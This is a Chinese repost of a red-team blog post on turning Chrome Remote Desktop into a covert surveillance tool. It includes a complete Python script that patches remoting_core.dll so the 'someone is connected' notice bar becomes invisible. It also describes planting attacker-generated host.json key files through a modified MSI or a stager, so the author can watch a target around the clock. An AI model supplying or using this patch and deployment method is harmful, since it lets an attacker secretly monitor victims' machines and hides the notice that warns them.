将 Chrome 远程桌面转变为纯粹的红队运维工具

导语:一条没人愿意看的连接提示条,一份藏在 ProgramData 里的 host.json,两个加起来就是一台能 24 小时盯着别人的远程主机。这条完整的红队化改造路线,从逆向一个 DLL 开始。


Chrome 远程桌面改造手记

事情是怎么开始的

大约两年前,我有一台实验机,装着 Chrome Remote Desktop(CRD,谷歌远程桌面),平时用它远程干活。每次一连上,主机上就会弹出这么一条小小的提示条。

这条提示条的作用是告诉使用者:有人正在连你的机器。

CRD 连接提示条

用久了实在烦人——每次远程会话,提示条都要闪上几秒再消失。看得多了,我一上火,决定想办法把它永久关掉。

然后就掉进了一个兔子洞,事情也从这里开始变得有意思。

第一部分:把提示条藏起来

第一步是看看 Chrome 远程桌面到底往机器里装了些什么。

简而言之:Chrome 远程桌面的文件都在 C:Program Files (x86) 下的 Google 目录里。

既然是开源项目,下一步自然是去看 Chromium 的源码。我先翻项目的 resources 目录,想搞清楚这个程序的结构长什么样。

最早引起我注意的是本地化资源。界面上的每一句字符串都放在 /remoting/remoting_strings_en-GB.xtb 里。

Chromium 源码树里的本地化资源

这给了我一点上下文,但带来的问题比答案还多。

追本地化文件的时候,我翻到 remoting_strings.grd 里的一条记录。

remoting_strings.grd 里的一条记录

这是核心的资源定义文件之一。顺着看下去,我发现它被一个 rc_header 引用了——这一点很扎眼。顺着这条引用一路找,最终指向了 remoting_core.dll。

rc_header 引用指向 remoting_core.dll

有意思的是,Chrome 远程桌面的安装目录里只有一个 DLL:remoting_core.dll。到这一步,所有线索开始对上了——核心库只有一个,那绝大部分功能几乎肯定都压在这个 DLL 里。

下一步是去源码里对照。remoting/host/disconnect_window_win.cc 里就是断开提示窗口的实现,看完源码,整个机制就清楚多了。

disconnect_window_win.cc 里的提示窗口创建逻辑

源码里能看到,提示窗口最多显示 10 秒就淡出。这下就把控制这个行为的范围缩得很小了。

源码里的 CreateDialogParam 函数

这个函数干三件事:

  • CreateDialogParam → Windows 加载一个对话框资源,把它显示成一个窗口
  • MAKEINTRESOURCE(IDD_DISCONNECT) → 这个资源用 id IDD_DISCONNECT 命名
  • CURRENT_MODULE() → 从运行宿主代码的同一个模块里加载它(实际安装时就是 remoting_core.dll)

那么下一个问题很简单:IDD_DISCONNECT 到底是多少?

答案在 remoting/host/win/core_resource.h 里,Google 已经替我们定义好了:

#define IDD_DISCONNECT                   110
#define IDD_CONTINUE                     111

#define IDC_DISCONNECT                  1001
#define IDC_DISCONNECT_SHARINGWITH      1002
#define IDC_DISCONNECT_USERNAME         1003

对号入座:

  • 对话框 id 110 = 断开 / 共享提示条(IDD_DISCONNECT)
  • 对话框 id 111 = “继续会话” 对话框(IDD_CONTINUE)
  • 控件 1002 = 那行 “sharing with …” 文字(IDC_DISCONNECT_SHARINGWITH)

所以现在我可以很有把握地说:那条小提示条就是 remoting_core.dll 里的 RT_DIALOG // 110 // 111。

这是整个过程里最有用的一条信息。

从源码到 PE 资源的调用链

参考的源码文件有两个:disconnect_window_win.cc 和 core_resource.h。

那行像邮箱的文字是哪来的

同一个文件。会话开始时,CRD 会取远端客户端的 jid(其实就来自后面要讲的那个 .json 文件),截出用户名那一段(通常是邮箱),写进对话框:

std::string client_jid = client_session_control_->client_jid();
username_ = client_jid.substr(0, client_jid.find('/'));

然后再填进控件:

HWND hwnd_message = GetDlgItem(hwnd_, IDC_DISCONNECT_SHARINGWITH);
SetWindowText(hwnd_message, message_text.c_str());

也就是说:那只是一个对话框资源,上面盖了一层运行时文字。

为了彻底弄明白,我写了个调用 CreateDialogParam 的小程序。

调用 CreateDialogParam 的示例程序

程序跑起来的效果:

程序输出的对话框

在这么个小例子里亲眼见过一次这个 API 之后,Chromium 的代码就非常好读了——同一个思路,换个资源 id 而已。

回到真实的 DLL

源码会骗人,毕竟产品构建可能和代码不一致。所以我又去查实际安装的 remoting_core.dll。

在 PE 的资源段(.rsrc)资源树里:

remoting_core.dll 的 PE 资源树
  • 里面只有 110 和 111 两个对话框 id
  • 110 和 111 各有大约 53 个语言版本(en-US 是 1033)

Chromium 把共享提示条叫作 IDD_DISCONNECT,并在 core_resource.h 里把它硬编码成 110。Windows 上宿主用 CreateDialogParam(CURRENT_MODULE(), MAKEINTRESOURCE(IDD_DISCONNECT), ...) 创建它。所以这并不是什么自定义悬浮窗,而是一个标准的 Win32 对话框资源,从和宿主代码同一个模块里加载——磁盘上这个模块就是 remoting_core.dll。

我把这个 DLL 逆了一遍,结论就坐实了。所有对话框模板都躺在 .rsrc 里,PE 资源树里只有两个对话框:110(共享 / 断开提示条)和 111(继续对话框)。语言 1033 是 Global en-US。

en-US 的 110 号模板,在文件里的位置是:

ValueFile offsetRVAVA (ImageBase + RVA)
0x1CDBF300x1CDBF300x1F023300x11F02330
110 号对话框的原始 DLGTEMPLATEEX 字节

这些字节对应微软的 DLGTEMPLATEEX 结构。前几个字段标识出这是一个扩展版对话框模板,dlgVer = 1、signature = 0xFFFF,用的是 EX 版本而不是标准 DLGTEMPLATE。

固定头占 26 字节。对话框的位置和尺寸存放在四个 16 位有符号整数里,从模板起始处偏移 +18 开始:

+0   dlgVer
+2   signature   (0xFFFF = EX form)
+4   helpID
+8   exStyle
+12  style
+16  cDlgItems
+18  x, y, cx, cy

在 IDA 里,这个布局干净地对应上了一个本地类型:

struct DLGTEMPLATEEX_HDR
{
  unsigned __int16 dlgVer;      // +0
  unsigned __int16 signature;   // +2  0xFFFFh
  unsigned __int32 helpID;      // +4
  unsigned __int32 exStyle;     // +8
  unsigned __int32 style;       // +12
  unsigned __int16 cDlgItems;   // +16
  __int16 x;                    // +18
  __int16 y;                    // +20
  __int16 cx;                   // +22
  __int16 cy;                   // +24
};

在没打补丁的 en-US 模板上,量出来的值是:

  • x = 0
  • y = 0
  • cx = 145 (0x91)
  • cy = 24 (0x18)

有意思的地方在于,Chromium 从来不写死对话框的宽高。源码只引用对话框的资源 id,实际尺寸存在 PE 资源里。

x, y, cx, cy = struct.unpack_from("<hhhh", dll_bytes, file_off + 18)

我是怎么把提示条藏掉的

做法很简单。我没有去改运行时的逻辑(这个方向试了好几次,都失败了),而是直接改对话框模板本身:把 110 号对话框在所有语言版本里的 cx 和 cy 都改成 0。

Windows 照样会创建这个对话框,只是尺寸变成 0,提示条自然就看不见了。远程会话照常工作。

disconnect_window_win.cc 照常运行,改的只是 PE 资源里存的那份对话框模板。

Python 补丁脚本

脚本会遍历所有 RT_DIALOG / 110 条目,先确认它是 DLGTEMPLATEEX(dlgVer=1,signature=0xFFFF),然后把偏移 +18 处的四个布局值清零。

pip install pefile

打补丁:

python patch_crd_sharebar.py .remoting_core.dll

还原:

python patch_crd_sharebar.py "remoting_core.dll" --restore
# patch_crd_sharebar.py
# Author @5mukx

#   pip install pefile
#   python patch_crd_sharebar.py <path-to-remoting_core.dll>

import argparse
import shutil
import struct
import sys
from pathlib import Path

import pefile

RT_DIALOG = 5
DEFAULT_DIALOG_NAME_ID = 110

DLGVER = 1
DLGSIG = 0xFFFF

LCID_NAMES = {
    1025: "ar", 1026: "bg", 1027: "ca", 1028: "zh-TW",
    1029: "cs", 1030: "da", 1031: "de", 1032: "el",
    1033: "en-US", 1034: "es", 1035: "fi", 1036: "fr",
    1037: "he", 1038: "hu", 1039: "is", 1040: "it",
    1041: "ja", 1042: "ko", 1043: "nl", 1044: "no",
    1045: "pl", 1046: "pt-BR", 1048: "ro", 1049: "ru",
    1050: "hr", 1051: "sk", 1053: "sv", 1054: "th",
    1055: "tr", 1057: "id", 1058: "uk", 1060: "sl",
    1061: "et", 1062: "lv", 1063: "lt", 1065: "fa",
    1066: "vi", 1069: "eu", 1071: "mk", 1078: "af",
    1081: "hi", 1086: "ms", 2052: "zh-CN", 2070: "pt-PT",
    3082: "es-ES", 0: "neutral",
}


def find_dialog_langs(pe: pefile.PE, dialog_name_id: int):
    hits = []
    for type_entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
        if getattr(type_entry, "id", None) != RT_DIALOG:
            continue
        for name_entry in type_entry.directory.entries:
            if getattr(name_entry, "id", None) != dialog_name_id:
                continue
            for lang_entry in name_entry.directory.entries:
                lang_id = getattr(lang_entry, "id", None)
                if lang_id is None:
                    continue
                rva = lang_entry.data.struct.OffsetToData
                size = lang_entry.data.struct.Size
                off = pe.get_offset_from_rva(rva)
                hits.append((lang_id, off, size))
    return hits


def patch_one(buf: bytearray, off: int, lang_id: int) -> bool:
    tag = f"lang={lang_id} ({LCID_NAMES.get(lang_id, '?')})"
    dlgVer, sig = struct.unpack_from("<HH", buf, off)
    if (dlgVer, sig) != (DLGVER, DLGSIG):
        print(f"  {tag}: SKIP not DLGTEMPLATEEX (ver=0x{dlgVer:x} sig=0x{sig:x})")
        return False
    x, y, cx, cy = struct.unpack_from("<hhhh", buf, off + 18)
    struct.pack_into("<hhhh", buf, off + 18, 0, 0, 0, 0)
    print(
        f"  {tag}: OK offset=0x{off:x} "
        f"before(x={x} y={y} cx={cx} cy={cy}) -> zeroed"
    )
    return True


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("dll", type=Path)
    args = ap.parse_args()

    pe = pefile.PE(str(args.dll), fast_load=True)
    pe.parse_data_directories(
        directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]]
    )
    hits = find_dialog_langs(pe, DEFAULT_DIALOG_NAME_ID)
    pe.close()

    if not hits:
        sys.exit(f"no RT_DIALOG/{DEFAULT_DIALOG_NAME_ID}/* entries found")

    print(f"found {len(hits)} language variant(s) of dialog id {DEFAULT_DIALOG_NAME_ID}:")
    for lang_id, off, size in hits:
        print(
            f"  lang={lang_id} ({LCID_NAMES.get(lang_id, '?')}) "
            f"offset=0x{off:x} size={size}"
        )

    bak = args.dll.with_suffix(args.dll.suffix + ".bak")
    if not bak.exists():
        shutil.copy2(args.dll, bak)
        print(f"backup -> {bak}")

    buf = bytearray(args.dll.read_bytes())
    print("patching:")
    patched = sum(patch_one(buf, off, lang_id) for lang_id, off, _ in hits)
    args.dll.write_bytes(buf)
    print(f"done: patched {patched}/{len(hits)} variant(s)")


if __name__ == "__main__":
    main()

代码看着不多,开发过程其实相当折磨。试了好几次才成功。

输出:

补丁脚本列出的语言版本
补丁脚本把对话框尺寸清零
补丁执行完成

现在你可以停掉 chromoting 服务,把打过补丁的 DLL 拷进 Program Files (x86) 覆盖掉,重启宿主服务,再连一次——提示条没了。

效果

原文此处放了两段演示视频:打补丁前底部弹出提示条,打补丁后桌面干净、远程会话照常。视频可以在原文页面观看。

到这一步我已经得到了我想要的东西:桌面是安静的,CRD 还在线。但脑子里冒出一个更可怕的问题——如果我让某个人装上这东西,我是不是就能 24 小时监控他,而且完全不需要自己的服务器?

可这要怎么做到?正常流程需要一个 Google 账号,还得手动输 PIN 完成配对。如果是通过 SSH 方式安装配置,又该怎么整?这就是第二部分要讲的了。

第二部分:host.json 与私钥

提示条补丁搞定之后,问题就变得很简单了:这台主机是怎么一直保持注册的?它的身份存在哪?还有没有别的东西对红队式的访问有用?

Windows 服务经常把配置放在 ProgramData 下。我去那儿看了一眼:

C:ProgramDataGoogleChrome Remote Desktop
ProgramData 下的 CRD 配置目录

里面有两个文件很显眼:

文件是什么
host.json主配置(id、密钥、哈希)
host_unprivileged.json低权限部分用的精简配置

host_unprivileged.json 走的是另一套机制:字段基本一样,但私钥的存放方式不同(用 DPAPI 加密保护)。

host.json 才是关键。正常安装下,读它需要管理员或 SYSTEM 权限。

Google 是靠这个文件认识这台主机的。你的 PIN 解锁一次会话,服务则用磁盘上的密钥来证明”我确实是那台主机”。

简单看一下:

host.json 的内容

字段名会随版本略有变化。在 150.0.7871.x 附近的版本上,结构大致是:

  • 主机信息(id、name、所有者邮箱)
  • private_key,base64 编码的 RSA 私钥
  • host_secret_hash,由 PIN 算出来的哈希(不是 PIN 本身)

为什么这对红队有意义

通常情况下,机器上的 host.json 是这么用的:

host.json 与一次远程会话的关系

所以,只要你设法换掉一份别的账号生成的 host.json,就能在不走任何正常流程的情况下把 CRD 配起来。=)

作者在这里插的表情包

武器化的方式有这么几种。

第一种:Chrome 远程桌面是用 .msi 安装包装的,所以可以写一个 stager(也就是初始访问脚本),负责装 .msi、取回并配置好需要的 JSON 文件、启动 Chromoting 服务。

第二种:初始化配置时直接传 --pin=123456 参数,把整个流程自动化。这个没写进文档的六位 PIN 参数是 TrustedSec 在博客里披露的,第 7 条 “Undocumented Parameter”。

你当然可以写个脚本把这套流程自动化掉,但我不建议把宝押在这个技术上——通过 “Set up via SSH” 方式生成的密钥是轮转的,有效期很短,有时连一天都撑不住(我实测是这样)。

第三种,也是最省事的那种:改 .msi 安装包,把你自己生成的 host.json 和 host_unprivileged.json 塞进去,让它在安装时创建 C:ProgramDataGoogleChrome Remote Desktop 目录并把文件复制过去,再顺手把服务启动起来。MSI 安装程序一般以提权状态运行,所以这条路相当直接。

结尾

一开始只是想干掉一条烦人的提示条,结果顺手做出了一整套监控工具。lol!

喜欢这篇的话,点个赞、关注一下,我们下篇见。


原文作者:Smukx(@5mukx),ZeroTrace Lab 原文地址:https://zerotracelab.com/blog/chrome-remote-desktop-red-ops

版权声明:本文为 ZeroTrace Lab 原创文章的中文编译转载,保留原作者署名与出处。译文仅用于技术学习与研究,相关操作请在获得授权的前提下进行。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容